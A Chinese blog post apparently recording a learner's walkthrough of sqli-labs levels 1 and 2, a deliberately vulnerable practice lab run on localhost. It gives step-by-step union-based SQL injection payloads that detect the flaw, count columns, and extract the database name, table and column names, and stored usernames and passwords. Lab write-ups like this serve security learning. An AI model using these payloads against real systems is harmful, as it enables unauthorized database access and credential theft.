sql-labs闯关 第1~2关

  • Post author:
  • Post category:其他


**

这些都是我在学习web安全过程中的内容,写篇博客记录一下学习成果也是方便日后复习回想内容啦~~~




第一关

  1. 首先开启phpstudy,记得要先将mysql的服务关闭哦(如果不关闭的话会导致phpstudy的mysql启动失败)
  2. 成功开启之后输入自己对应的网址进入第一关

    在这里插入图片描述
  3. 根据网页上的提示,我们要首先输入id,因为是GET型注入,所以参数都是直接带在url后面的,意思就是我们可以直接把id写在url的后面,像这样

    在这里插入图片描述

    从上图我们可以看出 id = 1 的用户名为:Dumb,密码为:Dumb


一般我们判断是否有sql注入漏洞的方法为(以整型为例):


输入 id = 1 页面显示正常

输入 id = 1’ 页面显示错误,此时说明存在sql注入

输入id = 1’ and 1 = 1 –+ 页面显示正常

根据页面显示的变化我们可以得知,DB中的操作语句大概是这样的:select * from table where id =‘x’,因为我们正常输入数据的时候可以查询到结果,但输入1’时报错,说明此时的语句变成了:select * from table where id = ’

1’

’ 可以很容易看出多了一个单引号,所以我们用 –+ 或者 #

注释掉后面的语句,此时DB中的SQL语句就变成了:select * from table where id = ‘1’ and 1 = 1 –+’,此时单引号正好两个匹配

找到注入的类型后,我们就开始爆数据了

**



第一步:判断可供显示数据的位置有几个

输入如下内容:

http://localhost/sqli/Less-1/?id=1' order by 3 --+	

在这里插入图片描述

此时我们发现页面显示正常,说明有

3个

可以显示数据的位置,此时输入:

http://localhost/sqli/Less-1/?id=-1' union select 1,2,3 --+	

在这里插入图片描述

从图中可以看出

2号



3号

位置可供我们显示我们想要的数据

PS:此时将前面的数据改成“-1”的原因在于,正确的数据会占用一个显示位置,所以我们用错误(不合法)的数据占位,让显示数据的那个位置空出来



第二步 爆数据库名

我们选择

2号位置

作为显示数据库名的地方,输入如下内容:

http://localhost/sqli/Less-1/?id=-1' union select 1,database(),3 --+

在这里插入图片描述

**

可以看到,数据库名为:security

**



第三步 爆表名

输入如下内容:

http://localhost/sqli/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+

在这里插入图片描述

**

得到表名有:emails、referers、uagents、users

**



第四步 爆表中的字段名

一般大家会对users表更感兴趣,所以这里我们以users表为例,其他表方法都是一样的,输入如下内容:

http://localhost/sqli/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),3 --+

**

得到users表的字段名有:id、name、password

**



第五步 爆数据

假设我们想知道用户名和密码,输入如下内容:

http://localhost/sqli/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username) from users),(select group_concat(password) from users) --+

在这里插入图片描述

**

得到的第一行数据为用户名,第二行数据为密码

**




第二关

和第一关相同,我们先判断是否存在SQL注入,若存在是属于什么类型的

*

我们像第一关那样输入?id=1’ and 1=1 –+ 发现页面报了一个sql语法错误,这个错误不属于sql注入错误,于是我们排除单引号型注入错误;—- 此时我们输入?id=1 and 1=2 –+发现页面出错,由此我们可以得出属于

整型的错误;接下来就是一样的操作

在这里插入图片描述

**



第一步 判断显示数据的位置

输入如下内容:

http://localhost/sqli/Less-2/?id=-1%20union%20select%201,2,3%20--+

得到结果:2、3号位置可显示数据

在这里插入图片描述

**



第二步 爆库名

输入如下内容:

http://localhost/sqli/Less-2/?id=-1 union select 1,database(),3 --+

得到结果:库名为:security

在这里插入图片描述

**



第三步 爆表名

输入如下内容:

http://localhost/sqli/Less-2/?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),database() --+

得到结果:表有:emails 、refers、uagents、users

在这里插入图片描述

**



第四步 爆字段

我们还是以users表为例,输入如下内容:

http://localhost/sqli/Less-2/?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),database() --+

得到结果:users表的字段分别有:id、username、password

在这里插入图片描述

**



第五步 爆数据

以users表中的姓名和密码为例,输入如下内容:

http://localhost/sqli/Less-2/?id=-1 union select 1,(select group_concat(username) from users),(select group_concat(password) from users) --+

得到结果:第一行是用户名;第二行是对应的密码

在这里插入图片描述



版权声明:本文为weixin_41705627原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。